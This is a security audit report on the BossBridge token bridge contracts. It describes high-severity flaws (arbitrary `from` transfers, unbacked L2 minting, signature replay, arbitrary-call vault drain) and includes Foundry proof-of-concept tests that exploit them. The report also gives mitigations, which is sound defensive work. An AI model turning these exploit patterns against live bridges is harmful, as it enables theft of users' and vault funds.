BossBridge Protocol Audit Report

Version 1.0

mafa

November 9, 2025

BossBridge Protocol Audit Report

mafa

November 9, 2025

Prepared by: mafa

Table of Contents

- Table of Contents
- Protocol Summary
- Disclaimer
- Risk Classification
- Audit Details
  - Scope
  - Roles
- Executive Summary
  - Issues found
- Findings
  - High
    * [H-1] The user who gives approval to L1TokenBridge may have those assest stolen
    * [H-2] The tokens in the L1 vault could be maliciously deposited into the vault, allowing unlimited unbacked tokens to be minted on L2.
    * [H-3] Same signature can be reused multiple times due to lack of a used-message check, allowing replay attacks.
    * [H-4] `L1BossBridge::sendToL1` Allows Arbitrary Low-Level Calls Enabling Unauthorized `L1Vault::approveTo` Execution and Complete Vault Fund Drain

    * [H-5] `TokenFactory::deployToken` uses the `CREATE` opcode, which does not work on zkSync.
  - Medium
    * [M-1] `Withdrawals` are prone to unbounded gas consumption due to return bombs

Protocol Summary

The Boss Bridge is a bridging mechanism to move an ERC20 token (the "Boss Bridge Token" or "BBT") from L1 to an L2 the development team claims to be building. Because the L2 part of the bridge is under construction, it was not included in the reviewed codebase.

The bridge is intended to allow users to deposit tokens, which are to be held in a vault contract on L1. Successful deposits should trigger an event that an off-chain mechanism is in charge of detecting to mint the corresponding tokens on the L2 side of the bridge.

Withdrawals must be approved operators (or "signers"). Essentially they are expected to be one or more off-chain services where users request withdrawals, and that should verify requests before signing the data users must use to withdraw their tokens. It's worth highlighting that there's little-to-no on-chain mechanism to verify withdrawals, other than the operator's signature. So the Boss Bridge heavily relies on having robust, reliable and always available operators to approve withdrawals. Any rogue operator or compromised signing key may put at risk the entire protocol.

Disclaimer

The mafa team makes all effort to find as many vulnerabilities in the code in the given time period, but holds no responsibilities for the findings provided in this document. A security audit by the team is not an endorsement of the underlying business or product. The audit was time-boxed and the review of the code was solely on the security aspects of the Solidity implementation of the contracts.

Risk Classification

		Impact		
		High	Medium	Low
	High	H	H/M	M

		Impact		
Likelihood	Medium	H/M	M	M/L
	Low	M	M/L	L

We use the CodeHawks severity matrix to determine severity. See the documentation for more details.

Audit Details

The findings described in this document correspond the following commit hash:

```
07af21653ab3e8a8362bf5f63eb058047f562375
```

Scope

```
#-- src
|   #-- L1BossBridge.sol
|   #-- L1Token.sol
|   #-- L1Vault.sol
|   #-- TokenFactory.sol
```

Roles

- Bridge owner: can pause and unpause withdrawals in the `L1BossBridge` contract. Also, can add and remove operators. Rogue owners or compromised keys may put at risk all bridge funds.
- User: Accounts that hold BBT tokens and use the `L1BossBridge` contract to deposit and withdraw them.
- Operator: Accounts approved by the bridge owner that can sign withdrawal operations. Rogue operators or compromised keys may put at risk all bridge funds.

Executive Summary

Issues found

Severity	Number of issues found
High	5
Medium	1
Total	6

Findings

High

[H-1] The user who gives approval to L1TokenBridge may have those assest stolen

Description: The external function `depositTokensToL2` has a `from` parameter that can be called by anyone. If a user has approved the contract to spend their tokens, a malicious attacker could exploit this by calling it with from set to the victim's address and transferring tokens to the attacker's L2 address.

Impact: The user will lose their funds and will not receive the tokens on L2.

Proof of Concept: place the following test in the L1TokenBridge.t.so

Proof Of Code

```
    function testCanMoveApprovedTokensOfOtherUsers()public{
        // poor alice approving
        vm.prank(user);
        token.approve(address(tokenBridge), type(uint256).max);

        // bob will steal it
        uint256 depositeAmount= token.balanceOf(user);
        address attacker = makeAddr("attacker");
        vm.startPrank(attacker);
        vm.expectEmit(address(tokenBridge));
        emit Deposit(user,attacker,depositeAmount);
        tokenBridge.depositTokensToL2(user,attacker,depositeAmount);
        vm.stopPrank();

        assertEq(token.balanceOf(user),0);
        assertEq(token.balanceOf(address(vault)),depositeAmount);
    }
```

Recommended Mitigation: Remove the `from` parameter from the depositTokensToL2 function.

```
1 -         function depositTokensToL2(address from, address l2Recipient,
      uint256 amount) external whenNotPaused {
2
3 +         function depositTokensToL2(address l2Recipient, uint256
      amount) external whenNotPaused {
```

[H-2] The tokens in the L1 vault could be maliciously deposited into the vault, allowing unlimited unbacked tokens to be minted on L2.

Description: The external function `depositTokensToL2` accepts a `from` parameter that anyone may call. In the contract constructor the Vault granted an unlimited approve allowance to the bridge contract. Under these conditions an attacker can repeatedly call `depositTokensToL2` with `from` set to the Vault address; the bridge will transfer Vault tokens and initiate L2 minting without any collateral/locking being performed for the attacker's L2 address.

Impact: This vulnerability can lead to direct loss of vault assets on L1, unlimited minting of unbacked tokens on L2, and a complete breakdown of cross-chain guarantees, undermining tokenomics and causing economic loss.

Proof of Concept: place the following test in the L1TokenBridge.t.so

Proof Of Code

```
1     function testCanTransferFromVaultToVault()public {
2         address attacker = makeAddr("attacker");
3         uint256 vaultBalance = 500 ether;
4         deal(address(token), address(vault), vaultBalance);
5
6         // can trigger the deposite event, self transfer tokens to the
              vault
7         vm.expectEmit(address(tokenBridge));
8         emit Deposit(address(vault),address(attacker),vaultBalance);
9         tokenBridge.depositTokensToL2(address(vault),attacker,
              vaultBalance);
10
11        // can do this forever, can mint infinet token on L2
12        vm.expectEmit(address(tokenBridge));
13        emit Deposit(address(vault),address(attacker),vaultBalance);
14        tokenBridge.depositTokensToL2(address(vault),attacker,
              vaultBalance);
15
16
17    }
```

Recommended Mitigation: Remove the `from` parameter from the depositTokensToL2 function.

[H-3] Same signature can be reused multiple times due to lack of a used-message check, allowing replay attacks.

Description: The `withdrawTokensToL1` and `sendToL1` functions accept signatures for cross-chain withdrawals but do not record whether a signature or message has already been used. As a result, the same (v,r,s) signature can be submitted multiple times, allowing attackers to repeatedly trigger withdrawals or re-execute payloads.

Impact: An attacker can continuously reuse the same signature to withdraw the same amount from the L1 vault multiple times, potentially draining its funds.

Proof of Concept:

place the following test in the L1TokenBridge.t.so

Proof Of Code

```
1     function testSignatureReplay() public {
2         // assume the vault already holds some tokens.
3         uint256 valutInitalBalance= 1000e18;
4         uint256 attackerInitialBalance = 100e18;
5         address attacker = makeAddr("attacker");
6         deal(address(token),address(vault),valutInitalBalance);
7         deal(address(token),address(attacker),attackerInitialBalance );
8
9         // an attacker deposite tokens to L2
10        vm. startPrank(attacker);
11        token.approve(address(tokenBridge),type(uint256).max);
12        tokenBridge.depositTokensToL2(attacker,attacker,
              attackerInitialBalance);
13        //at least do one time to get the signature
14
15        // signer / Operater is going to sign the withdraw
16        // message form function
17        bytes memory message = abi.encode(address(token),0,abi.
              encodeCall(IERC20.transferFrom,
18        (address(vault), attacker, attackerInitialBalance)));
19        (uint8 v, bytes32 r, bytes32 s) = vm.sign(operator.key,
              MessageHashUtils.toEthSignedMessageHash(keccak256(message)))
              ;
20
21        while(token.balanceOf(address(vault)) > 0){
22            tokenBridge.withdrawTokensToL1(attacker,
                  attackerInitialBalance,v,r,s);
23        }
24        assertEq(token.balanceOf(address(attacker)),
              attackerInitialBalance+valutInitalBalance);
25        assertEq (token.balanceOf(address(vault)),0);
26    }
```

Recommended Mitigation: Add a per-user nonce to every signed message and maintain an on-chain messageUsed mapping to check whether a message has already been executed. Ensure that messages are marked as used only after successful execution to prevent replay attacks.

[H-4] `L1BossBridge::sendToL1` Allows Arbitrary Low-Level Calls Enabling Unauthorized `L1Vault::approveTo` Execution and Complete Vault Fund Drain

Description: The `sendToL1` function in L1BossBridge executes arbitrary low-level calls to any target contract using signed calldata. Because there are no on-chain restrictions on the target or function, an attacker can use it to call `L1Vault::approveTo` and grant themselves unlimited allowance, then drain all funds from the vault. The contract lacks replay protection for signatures, allowing an attacker to reuse a captured signature and submit the same signed message multiple times.

Impact: An attacker can call `sendToL1` with a message that makes the vault approve a malicious address, then drain the vault's entire balance.

Proof of Concept: place the following test in the L1TokenBridge.t.so

Proof Of Code

```
1          function testSendToL1AllowsAnybodyToDrainVault() public {
2          // assume the vault already holds some tokens.
3          uint256 valutInitalBalance= 1000e18;
4          uint256 attackerInitialBalance = 1e18;
5          address attacker = makeAddr("attacker");
6          deal(address(token),address(vault),valutInitalBalance);
7          deal(address(token),address(attacker),attackerInitialBalance );
8
9          // an attacker deposite tokens to L2
10         vm. startPrank(attacker);
11         token.approve(address(tokenBridge),attackerInitialBalance);
12         tokenBridge.depositTokensToL2(attacker,attacker,
               attackerInitialBalance);
13         //at least do one time to get the signature
14
15         // signer / Operater is going to sign the withdraw
16         bytes memory maliciousMessage = abi.encode(
17             address(vault),
18             0,
19             abi.encodeCall(vault.approveTo, (address(attacker), type(
                   uint256).max))
20         );
21         (uint8 v, bytes32 r, bytes32 s) = vm.sign(operator.key,
               MessageHashUtils.toEthSignedMessageHash(keccak256(
               maliciousMessage)));
22         tokenBridge.sendToL1(v,r,s,maliciousMessage);
```

```
23          token.transferFrom(address(vault),address(attacker),token.
               balanceOf(address(vault)));
24          vm.stopPrank();
25          assertEq(token.balanceOf(address(attacker)),
               attackerInitialBalance+valutInitalBalance);
26          assertEq (token.balanceOf(address(vault)),0);
27      }
```

Recommended Mitigation: change the `SendToL1` function to private and add the signature replay check

[H-5] `TokenFactory::deployToken` uses the CREATE opcode, which does not work on zkSync.

Description: The `deployToken` function uses a low-level `create` opcode in assembly with arbitrary bytecode. On zkSync EraVM, contract deployment relies on precomputed bytecode hashes and the ContractDeployer system contract. Using `create`e directly in assembly is incompatible with EraVM assumptions and will fail, making this deployment method unsafe and non-functional on zkSync.

```
1       function deployToken(string memory symbol, bytes memory
           contractBytecode) public onlyOwner returns (address addr) {
2           assembly {
3   @>          addr := create(0, add(contractBytecode, 0x20), mload(
        contractBytecode))
4           }
```

Impact: On zkSync EraVM, this function is incompatible and will fail, resulting in the token not being created.

Recommended Mitigation: Deployments should depend on the chain: on standard EVM, use `create` / `create2`; on zkSync EraVM, use ContractDeployer with the bytecode hash.

Medium

[M-1] `Withdrawals` are prone to unbounded gas consumption due to return bombs

Description: During withdrawals, the L1 part of the bridge executes a low-level call to an arbitrary target passing all available gas. While this would work fine for regular targets, it may not for adversarial ones.

In particular, a malicious target may drop a return bomb to the caller. This would be done by returning an large amount of returndata in the call, which Solidity would copy to memory, thus increasing gas

costs due to the expensive memory operations. Callers unaware of this risk may not set the transaction's gas limit sensibly, and therefore be tricked to spent more ETH than necessary to execute the call.

Recommended Mitigation: If the external call's returndata is not to be used, then consider modifying the call to avoid copying any of the data. This can be done in a custom implementation, or reusing external libraries such as `ExcessivelySafeCall`